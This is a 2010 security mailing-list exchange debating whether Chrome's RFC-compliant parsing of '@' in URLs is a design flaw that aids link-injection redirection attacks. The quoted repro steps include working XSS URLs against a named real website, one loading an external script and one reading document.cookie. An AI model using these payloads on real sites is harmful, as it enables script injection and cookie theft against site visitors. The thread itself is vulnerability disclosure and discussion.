Date: Wed, 06 Jan 2010 09:21:22 +0530
From: Aditya K Sood <0kn0ck@...niche.org>
To: Berend-Jan Wever <berendjanwever@...il.com>
Cc: websecurity@...appsec.org, bugtraq@...urityfocus.com
Subject: Re: [WEB SECURITY] Re: Link Injection Redirection Attacks - Exploiting
 Google Chrome 	Design Flaw

Hi Berend-Jan

Please find the respective responses
> Repro steps:
> 1) Some website do not sanitize user input correctly, such as the one
> in your example, which allows things like XSS:
> http://www.worksafenb.ca/redirect.asp?V="'%20src=http://skypher.com/SkyLined/xss.js></SCRIPT><SCRIPT%20x='
> http://www.worksafenb.ca/redirect.asp?V=*/</SCRIPT>"<SCRIPT>alert(document.cookie);/*
> <http://www.worksafenb.ca/redirect.asp?V=*/%3C/SCRIPT%3E%22%3CSCRIPT%3Ealert%28document.cookie%29;/*>
> 2) This may also allow the '@' character to be inserted into a link on
> the site, which has special meaning in URLs, as described
> in http://www.ietf.org/rfc/rfc1738.txt:
> 3.1. Common Internet Scheme Syntax
>
>    While the syntax for the rest of the URL may vary depending on the
>    particular scheme selected, URL schemes that involve the direct use
>    of an IP-based protocol to a specified host on the Internet use a
>    common syntax for the scheme-specific data:
>
>         //<user>:<password>@<host>:<port>/<url-path>
> 3) Because Chromium follows the RFC and parses the URL correctly, a
> user that clicks on the link will be taken to the site specified by
> the URL.
>
> As you can see, I unfortunately fail to understand why this is a
> design flaw in Chromium. It seems to me that you are suggesting
> that Chromium add a feature to mitigate this server-side problem by
> ignoring the RFC and prevent all links with an @ sign in them from
> working altogether like MSIE does or warn the user about such URLs
> like Firefox does? I am obviously missing something here, maybe you
> can elaborate even further?
The point is not of implementation. URL/URI specification provided in
the RFC is treated as standard benchmark but the point here is about the
security check which is not implemented in Chrome. Every time this issue
comes up, the point of status bar
link interpretation is discussed which is simply one point of just
showing the way links active in web page. The web page input problem is
always a case but the browser problems make it more adverse.
>
> I don't want to take too much of your precious time as a researcher,
> so I reported this feature request for you:
> http://code.google.com/p/chromium/issues/detail?id=31625
> You mentioned that you have reported this before but I couldn't find
> any bugs relating to this:
> http://code.google.com/p/chromium/issues/list?can=1&q=reporter:Adi.ZeroK
> <http://code.google.com/p/chromium/issues/list?can=1&q=reporter:Adi.ZeroK&sort=-id&colspec=ID+Summary+Status+Modified+Type+Restrict+Pri+Mstone+Owner&x=mstone&y=area&cells=tiles>
> Maybe you could find them and mark as duplicates of this bug yourself
> (or the other way around)?
I am not sure about the fact that you have not found that. It was
reported on 28 November 2008 and the status was changed to "Wont Fix" by
the team itself. You can have a look at:

http://code.google.com/p/chromium/issues/detail?id=4739

I think this can clear the point. Its the same point which I am
mentioning from long time. We just want that issues should be patched so
that users can have better experience.

Kind Regards
Aditya

>
> Thanks!
>
> SkyLined
>
>
> Berend-Jan Wever <berendjanwever@...il.com
> <mailto:berendjanwever@...il.com>>
> http://skypher.com/SkyLined
>
>
>
> On Tue, Jan 5, 2010 at 3:02 PM, Aditya K Sood <0kn0ck@...niche.org
> <mailto:0kn0ck@...niche.org>> wrote:
>
>
>     Hi
>
>     Recently with an outcome of Owasp RC1 top 10 exploited vulnerability
>     list , redirection issues have already
>     made a mark in that. Even the WASC has included the URL abusing as one
>     of the stringent attacks.
>     Well to be ethical in this regard these are not the recent attacks but
>     are persisting from long time. The only
>     difference is the exploitation ratio has increased from bottom to top.
>     So that's the prime reason it has been
>     included in the web application security benchmarks. But the
>     projection
>     of redirection attacks is active now.
>
>     This post is not about explaining the basics of redirection issues. It
>     is more about the design vulnerabilities
>     in browsers that can lead to potential persistent redirection
>     vulnerabilities. Web application security can be
>     hampered due to browser problems.
>
>     Note: The base is to project the implications of browser inefficiency
>     and the ease in conducting web application  attacks.
>
>     Post:
>     http://zeroknock.blogspot.com/2010/01/link-injection-redirection-attacks.html
>
>     Video: http://www.secniche.org/videos/google_chrome_link_inj.html
>
>     Browsers need to take care of these issues.
>
>     Regards
>     Aditya K Sood
>     http://www.secniche.org
>
>

Powered by blists - more mailing lists